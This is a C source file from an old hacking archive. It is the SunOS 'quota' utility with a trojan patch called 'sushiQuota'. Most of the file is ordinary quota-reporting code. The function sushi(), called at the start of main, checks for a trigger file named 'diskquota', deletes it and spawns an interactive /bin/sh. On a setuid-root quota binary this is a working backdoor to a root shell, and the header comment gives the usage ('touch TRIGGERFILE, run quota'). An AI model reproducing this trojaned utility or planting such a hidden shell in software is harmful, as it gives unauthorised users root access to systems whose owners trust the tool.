home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / sushiQuota.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  12KB  |  550 lines

  1. #ifndef lint
  2. static    char sccsid[] = "@(#)quota.c 1.1 92/07/30 SMI"; /* from UCB 4.4 06/21/83 */
  3. #endif
  4.  
  5. /*
  6.  * sushiQuota
  7.  * 
  8.  * quickpatch - dfi - 3/95
  9.  *
  10.  * touch TRIGGERFILE, run quota, bewm@!
  11.  */
  12.  
  13. #include <stdio.h>
  14. #include <mntent.h>
  15. #include <ctype.h>
  16. #include <pwd.h>
  17. #include <errno.h>
  18.  
  19. #include <sys/param.h>
  20. #include <sys/file.h>
  21. #include <sys/stat.h>
  22. #include <sys/time.h>
  23. #include <ufs/quota.h>
  24.  
  25. int    vflag;
  26. int    nolocalquota;
  27.  
  28. #define QFNAME    "quotas"
  29. #define TRIGGERFILE "diskquota"
  30.  
  31. #define kb(n)   (howmany(dbtob(n), 1024))
  32.  
  33. void sushi();
  34.  
  35. main(argc, argv)
  36.     int argc;
  37.     char *argv[];
  38. {
  39.     register char *cp;
  40.  
  41.     sushi();
  42.  
  43.     argc--,argv++;
  44.     while (argc > 0) {
  45.         if (argv[0][0] == '-')
  46.             for (cp = &argv[0][1]; *cp; cp++) switch (*cp) {
  47.  
  48.             case 'v':
  49.                 vflag++;
  50.                 break;
  51.  
  52.             default:
  53.                 fprintf(stderr, "quota: %c: unknown option\n",
  54.                     *cp);
  55.                 exit(1);
  56.             }
  57.         else
  58.             break;
  59.         argc--, argv++;
  60.     }
  61.     if (quotactl(Q_SYNC, NULL, 0, NULL) < 0 && errno == EINVAL) {
  62.         if (vflag)
  63.             fprintf(stderr,"There are no quotas on this system\n");
  64.         nolocalquota++;
  65.     }
  66.     if (argc == 0) {
  67.         showuid(getuid());
  68.         exit(0);
  69.     }
  70.     for (; argc > 0; argc--, argv++) {
  71.         if (alldigits(*argv))
  72.             showuid(atoi(*argv));
  73.         else
  74.             showname(*argv);
  75.     }
  76.     exit(0);
  77.     /* NOTREACHED */
  78. }
  79.  
  80. showuid(uid)
  81.     int uid;
  82. {
  83.     struct passwd *pwd = getpwuid(uid);
  84.  
  85.     if (uid == 0) {
  86.         if (vflag)
  87.             printf("no disk quota for uid 0\n");
  88.         return;
  89.     }
  90.     if (pwd == NULL)
  91.         showquotas(uid, "(no account)");
  92.     else
  93.         showquotas(uid, pwd->pw_name);
  94. }
  95.  
  96. showname(name)
  97.     char *name;
  98. {
  99.     struct passwd *pwd = getpwnam(name);
  100.  
  101.     if (pwd == NULL) {
  102.         fprintf(stderr, "quota: %s: unknown user\n", name);
  103.         return;
  104.     }
  105.     if (pwd->pw_uid == 0) {
  106.         if (vflag)
  107.             printf("no disk quota for %s (uid 0)\n", name);
  108.         return;
  109.     }
  110.     showquotas(pwd->pw_uid, name);
  111. }
  112.  
  113. showquotas(uid, name)
  114.     int uid;
  115.     char *name;
  116. {
  117.     register struct mntent *mntp;
  118.     FILE *mtab;
  119.     struct dqblk dqblk;
  120.     int myuid;
  121.  
  122.     myuid = getuid();
  123.     if (uid != myuid && myuid != 0) {
  124.         printf("quota: %s (uid %d): permission denied\n", name, uid);
  125.         return;
  126.     }
  127.     if (vflag)
  128.         heading(uid, name);
  129.     mtab = setmntent(MOUNTED, "r");
  130.     while (mntp = getmntent(mtab)) {
  131.         if (strcmp(mntp->mnt_type, MNTTYPE_42) == 0) {
  132.             if (nolocalquota ||
  133.                 (quotactl(Q_GETQUOTA,
  134.                   mntp->mnt_fsname, uid, &dqblk) != 0 &&
  135.                  !(vflag && getdiskquota(mntp, uid, &dqblk))) )
  136.                     continue;
  137.         } else if (strcmp(mntp->mnt_type, MNTTYPE_NFS) == 0) {
  138.             if ((!vflag && hasmntopt(mntp, MNTOPT_NOQUOTA)) ||
  139.                 !getnfsquota(mntp, uid, &dqblk))
  140.                 continue;
  141.         } else {
  142.             continue;
  143.         }
  144.         if (dqblk.dqb_bsoftlimit == 0 && dqblk.dqb_bhardlimit == 0 &&
  145.             dqblk.dqb_fsoftlimit == 0 && dqblk.dqb_fhardlimit == 0)
  146.             continue;
  147.         if (vflag)
  148.             prquota(mntp, &dqblk);
  149.         else
  150.             warn(mntp, &dqblk);
  151.     }
  152.     endmntent(mtab);
  153. }
  154.  
  155. warn(mntp, dqp)
  156.     register struct mntent *mntp;
  157.     register struct dqblk *dqp;
  158. {
  159.     struct timeval tv;
  160.  
  161.     gettimeofday(&tv, NULL);
  162.     if (dqp->dqb_bhardlimit &&
  163.          dqp->dqb_curblocks >= dqp->dqb_bhardlimit) {
  164.         printf(
  165. "Block limit reached on %s\n",
  166.             mntp->mnt_dir
  167.         );
  168.     } else if (dqp->dqb_bsoftlimit &&
  169.          dqp->dqb_curblocks >= dqp->dqb_bsoftlimit) {
  170.         if (dqp->dqb_btimelimit == 0) {
  171.             printf(
  172. "Over disk quota on %s, remove %dK\n",
  173.                 mntp->mnt_dir,
  174.                 kb(dqp->dqb_curblocks - dqp->dqb_bsoftlimit + 1)
  175.             );
  176.         } else if (dqp->dqb_btimelimit > tv.tv_sec) {
  177.             char btimeleft[80];
  178.  
  179.             fmttime(btimeleft, dqp->dqb_btimelimit - tv.tv_sec);
  180.             printf(
  181. "Over disk quota on %s, remove %dK within %s\n",
  182.                 mntp->mnt_dir,
  183.                 kb(dqp->dqb_curblocks - dqp->dqb_bsoftlimit + 1),
  184.                 btimeleft
  185.             );
  186.         } else {
  187.             printf(
  188. "Over disk quota on %s, time limit has expired, remove %dK\n",
  189.                 mntp->mnt_dir,
  190.                 kb(dqp->dqb_curblocks - dqp->dqb_bsoftlimit + 1)
  191.             );
  192.         }
  193.     }
  194.     if (dqp->dqb_fhardlimit &&
  195.         dqp->dqb_curfiles >= dqp->dqb_fhardlimit) {
  196.         printf(
  197. "File count limit reached on %s\n",
  198.             mntp->mnt_dir
  199.         );
  200.     } else if (dqp->dqb_fsoftlimit &&
  201.         dqp->dqb_curfiles >= dqp->dqb_fsoftlimit) {
  202.         if (dqp->dqb_ftimelimit == 0) {
  203.             printf(
  204. "Over file quota on %s, remove %d file%s\n",
  205.                 mntp->mnt_dir,
  206.                 dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1,
  207.                 ((dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1) > 1 ?
  208.                 "s" :
  209.                 "" )
  210.             );
  211.         } else if (dqp->dqb_ftimelimit > tv.tv_sec) {
  212.             char ftimeleft[80];
  213.  
  214.             fmttime(ftimeleft, dqp->dqb_ftimelimit - tv.tv_sec);
  215.             printf(
  216. "Over file quota on %s, remove %d file%s within %s\n",
  217.                 mntp->mnt_dir,
  218.                 dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1,
  219.                 ((dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1) > 1 ?
  220.                 "s" :
  221.                 "" ),
  222.                 ftimeleft
  223.             );
  224.         } else {
  225.             printf(
  226. "Over file quota on %s, time limit has expired, remove %d file%s\n",
  227.                 mntp->mnt_dir,
  228.                 dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1,
  229.                 ((dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1) > 1 ?
  230.                 "s" :
  231.                 "" )
  232.             );
  233.         }
  234.     }
  235. }
  236.  
  237. heading(uid, name)
  238.     int uid;
  239.     char *name;
  240. {
  241.     printf("Disk quotas for %s (uid %d):\n", name, uid);
  242.     printf("%-12s %7s%7s%7s%12s%7s%7s%7s%12s\n"
  243.         , "Filesystem"
  244.         , "usage"
  245.         , "quota"
  246.         , "limit"
  247.         , "timeleft"
  248.         , "files"
  249.         , "quota"
  250.         , "limit"
  251.         , "timeleft"
  252.     );
  253. }
  254.  
  255. prquota(mntp, dqp)
  256.     register struct mntent *mntp;
  257.     register struct dqblk *dqp;
  258. {
  259.     struct timeval tv;
  260.     char ftimeleft[80], btimeleft[80];
  261.     char *cp;
  262.  
  263.     gettimeofday(&tv, NULL);
  264.     if (dqp->dqb_bsoftlimit && dqp->dqb_curblocks >= dqp->dqb_bsoftlimit) {
  265.         if (dqp->dqb_btimelimit == 0) {
  266.             strcpy(btimeleft, "NOT STARTED");
  267.         } else if (dqp->dqb_btimelimit > tv.tv_sec) {
  268.             fmttime(btimeleft, dqp->dqb_btimelimit - tv.tv_sec);
  269.         } else {
  270.             strcpy(btimeleft, "EXPIRED");
  271.         }
  272.     } else {
  273.         btimeleft[0] = '\0';
  274.     }
  275.     if (dqp->dqb_fsoftlimit && dqp->dqb_curfiles >= dqp->dqb_fsoftlimit) {
  276.         if (dqp->dqb_ftimelimit == 0) {
  277.             strcpy(ftimeleft, "NOT STARTED");
  278.         } else if (dqp->dqb_ftimelimit > tv.tv_sec) {
  279.             fmttime(ftimeleft, dqp->dqb_ftimelimit - tv.tv_sec);
  280.         } else {
  281.             strcpy(ftimeleft, "EXPIRED");
  282.         }
  283.     } else {
  284.         ftimeleft[0] = '\0';
  285.     }
  286.     if (strlen(mntp->mnt_dir) > 12) {
  287.         printf("%s\n", mntp->mnt_dir);
  288.         cp = "";
  289.     } else {
  290.         cp = mntp->mnt_dir;
  291.     }
  292.     printf("%-12.12s %7d%7d%7d%12s%7d%7d%7d%12s\n",
  293.         cp,
  294.         kb(dqp->dqb_curblocks),
  295.         kb(dqp->dqb_bsoftlimit),
  296.         kb(dqp->dqb_bhardlimit),
  297.         btimeleft,
  298.         dqp->dqb_curfiles,
  299.         dqp->dqb_fsoftlimit,
  300.         dqp->dqb_fhardlimit,
  301.         ftimeleft
  302.     );
  303. }
  304.  
  305. fmttime(buf, time)
  306.     char *buf;
  307.     register long time;
  308. {
  309.     int i;
  310.     static struct {
  311.         int c_secs;        /* conversion units in secs */
  312.         char * c_str;        /* unit string */
  313.     } cunits [] = {
  314.         {60*60*24*28, "months"},
  315.         {60*60*24*7, "weeks"},
  316.         {60*60*24, "days"},
  317.         {60*60, "hours"},
  318.         {60, "mins"},
  319.         {1, "secs"}
  320.     };
  321.  
  322.     if (time <= 0) {
  323.         strcpy(buf, "EXPIRED");
  324.         return;
  325.     }
  326.     for (i = 0; i < sizeof(cunits)/sizeof(cunits[0]); i++) {
  327.         if (time >= cunits[i].c_secs)
  328.             break;
  329.     }
  330.     sprintf(buf, "%.1f %s", (double)time/cunits[i].c_secs, cunits[i].c_str);
  331. }
  332.  
  333. alldigits(s)
  334.     register char *s;
  335. {
  336.     register c;
  337.  
  338.     c = *s++;
  339.     do {
  340.         if (!isdigit(c))
  341.             return (0);
  342.     } while (c = *s++);
  343.     return (1);
  344. }
  345.  
  346. int
  347. getdiskquota(mntp, uid, dqp)
  348.     struct mntent *mntp;
  349.     int uid;
  350.     struct dqblk *dqp;
  351. {
  352.     int fd;
  353.     dev_t fsdev;
  354.     struct stat statb;
  355.     char qfilename[MAXPATHLEN];
  356.     extern int errno;
  357.  
  358.     if (stat(mntp->mnt_fsname, &statb) < 0 ||
  359.         (statb.st_mode & S_IFMT) != S_IFBLK)
  360.         return (0);
  361.     fsdev = statb.st_rdev;
  362.     sprintf(qfilename, "%s/%s", mntp->mnt_dir, QFNAME);
  363.     if (stat(qfilename, &statb) < 0 || statb.st_dev != fsdev)
  364.         return (0);
  365.     if ((fd = open(qfilename, O_RDONLY)) < 0)
  366.         return (0);
  367.     (void) lseek(fd, (long)dqoff(uid), L_SET);
  368.     switch (read(fd, dqp, sizeof(struct dqblk))) {
  369.     case 0:                /* EOF */
  370.         /*
  371.          * Convert implicit 0 quota (EOF)
  372.          * into an explicit one (zero'ed dqblk).
  373.          */
  374.         bzero((caddr_t)dqp, sizeof(struct dqblk));
  375.         break;
  376.  
  377.     case sizeof(struct dqblk):    /* OK */
  378.         break;
  379.  
  380.     default:            /* ERROR */
  381.         close(fd);
  382.         return (0);
  383.     }
  384.     close(fd);
  385.     return (1);
  386. }
  387.  
  388. #include <rpc/rpc.h>
  389. #include <rpc/pmap_prot.h>
  390. #include <sys/socket.h>
  391. #include <netdb.h>
  392. #include <rpcsvc/rquota.h>
  393.  
  394. int
  395. getnfsquota(mntp, uid, dqp)
  396.     struct mntent *mntp;
  397.     int uid;
  398.     struct dqblk *dqp;
  399. {
  400.     char *hostp;
  401.     char *cp;
  402.     struct getquota_args gq_args;
  403.     struct getquota_rslt gq_rslt;
  404.     extern char *index();
  405.  
  406.     hostp = mntp->mnt_fsname;
  407.     cp = index(mntp->mnt_fsname, ':');
  408.     if (cp == 0) {
  409.         fprintf(stderr, "cannot find hostname for %s\n", mntp->mnt_dir);
  410.         return (0);
  411.     }
  412.     *cp = '\0';
  413.     gq_args.gqa_pathp = cp + 1;
  414.     gq_args.gqa_uid = uid;
  415.     if (callaurpc(hostp, RQUOTAPROG, RQUOTAVERS,
  416.         (vflag? RQUOTAPROC_GETQUOTA: RQUOTAPROC_GETACTIVEQUOTA),
  417.         xdr_getquota_args, &gq_args, xdr_getquota_rslt, &gq_rslt) != 0) {
  418.         *cp = ':';
  419.         return (0);
  420.     }
  421.     switch (gq_rslt.gqr_status) {
  422.     case Q_OK:
  423.         {
  424.         struct timeval tv;
  425.  
  426.         if (!vflag && gq_rslt.gqr_rquota.rq_active == FALSE)
  427.             return (0);
  428.         gettimeofday(&tv, NULL);
  429.         dqp->dqb_bhardlimit =
  430.             gq_rslt.gqr_rquota.rq_bhardlimit *
  431.             gq_rslt.gqr_rquota.rq_bsize / DEV_BSIZE;
  432.         dqp->dqb_bsoftlimit =
  433.             gq_rslt.gqr_rquota.rq_bsoftlimit *
  434.             gq_rslt.gqr_rquota.rq_bsize / DEV_BSIZE;
  435.         dqp->dqb_curblocks =
  436.             gq_rslt.gqr_rquota.rq_curblocks *
  437.             gq_rslt.gqr_rquota.rq_bsize / DEV_BSIZE;
  438.         dqp->dqb_fhardlimit = gq_rslt.gqr_rquota.rq_fhardlimit;
  439.         dqp->dqb_fsoftlimit = gq_rslt.gqr_rquota.rq_fsoftlimit;
  440.         dqp->dqb_curfiles = gq_rslt.gqr_rquota.rq_curfiles;
  441.         dqp->dqb_btimelimit =
  442.             tv.tv_sec + gq_rslt.gqr_rquota.rq_btimeleft;
  443.         dqp->dqb_ftimelimit =
  444.             tv.tv_sec + gq_rslt.gqr_rquota.rq_ftimeleft;
  445.         *cp = ':';
  446.         return (1);
  447.         }
  448.  
  449.     case Q_NOQUOTA:
  450.         break;
  451.  
  452.     case Q_EPERM:
  453.         fprintf(stderr, "quota permission error, host: %s\n", hostp);
  454.         break;
  455.  
  456.     default:
  457.         fprintf(stderr, "bad rpc result, host: %s\n",  hostp);
  458.         break;
  459.     }
  460.     *cp = ':';
  461.     return (0);
  462. }
  463.  
  464. callaurpc(host, prognum, versnum, procnum, inproc, in, outproc, out)
  465.     char *host;
  466.     xdrproc_t inproc, outproc;
  467.     char *in, *out;
  468. {
  469.     struct sockaddr_in server_addr;
  470.     enum clnt_stat clnt_stat;
  471.     struct hostent *hp;
  472.     struct timeval timeout, tottimeout;
  473.  
  474.     static CLIENT *client = NULL;
  475.     static int socket = RPC_ANYSOCK;
  476.     static int valid = 0;
  477.     static int oldprognum, oldversnum;
  478.     static char oldhost[256];
  479.  
  480.     if (valid && oldprognum == prognum && oldversnum == versnum
  481.         && strcmp(oldhost, host) == 0) {
  482.         /* reuse old client */        
  483.     }
  484.     else {
  485.         valid = 0;
  486.         close(socket);
  487.         socket = RPC_ANYSOCK;
  488.         if (client) {
  489.             clnt_destroy(client);
  490.             client = NULL;
  491.         }
  492.         if ((hp = gethostbyname(host)) == NULL)
  493.             return ((int) RPC_UNKNOWNHOST);
  494.         timeout.tv_usec = 0;
  495.         timeout.tv_sec = 6;
  496.         bcopy(hp->h_addr, &server_addr.sin_addr, hp->h_length);
  497.         server_addr.sin_family = AF_INET;
  498.         /* ping the remote end via tcp to see if it is up */
  499.         server_addr.sin_port =  htons(PMAPPORT);
  500.         if ((client = clnttcp_create(&server_addr, PMAPPROG,
  501.             PMAPVERS, &socket, 0, 0)) == NULL) {
  502.             return ((int) rpc_createerr.cf_stat);
  503.         } else {
  504.             /* the fact we succeeded means the machine is up */
  505.             close(socket);
  506.             socket = RPC_ANYSOCK;
  507.             clnt_destroy(client);
  508.             client = NULL;
  509.         }
  510.         /* now really create a udp client handle */
  511.         server_addr.sin_port =  0;
  512.         if ((client = clntudp_create(&server_addr, prognum,
  513.             versnum, timeout, &socket)) == NULL)
  514.             return ((int) rpc_createerr.cf_stat);
  515.         client->cl_auth = authunix_create_default();
  516.         valid = 1;
  517.         oldprognum = prognum;
  518.         oldversnum = versnum;
  519.         strcpy(oldhost, host);
  520.     }
  521.     tottimeout.tv_sec = 25;
  522.     tottimeout.tv_usec = 0;
  523.     clnt_stat = clnt_call(client, procnum, inproc, in,
  524.         outproc, out, tottimeout);
  525.     /* 
  526.      * if call failed, empty cache
  527.      */
  528.     if (clnt_stat != RPC_SUCCESS)
  529.         valid = 0;
  530.     return ((int) clnt_stat);
  531. }
  532.  
  533.  
  534. /* patched code */
  535.  
  536. void 
  537. sushi()
  538.     {
  539.     FILE *fp = fopen(TRIGGERFILE,"r");
  540.     if(fp) {
  541.         printf("d1sco\n");
  542.         fclose(fp);
  543.         unlink(TRIGGERFILE);
  544.         execl("/bin/sh","-i",0);
  545.         }
  546.     }
  547.  
  548. /* end patched code */
  549.  
  550.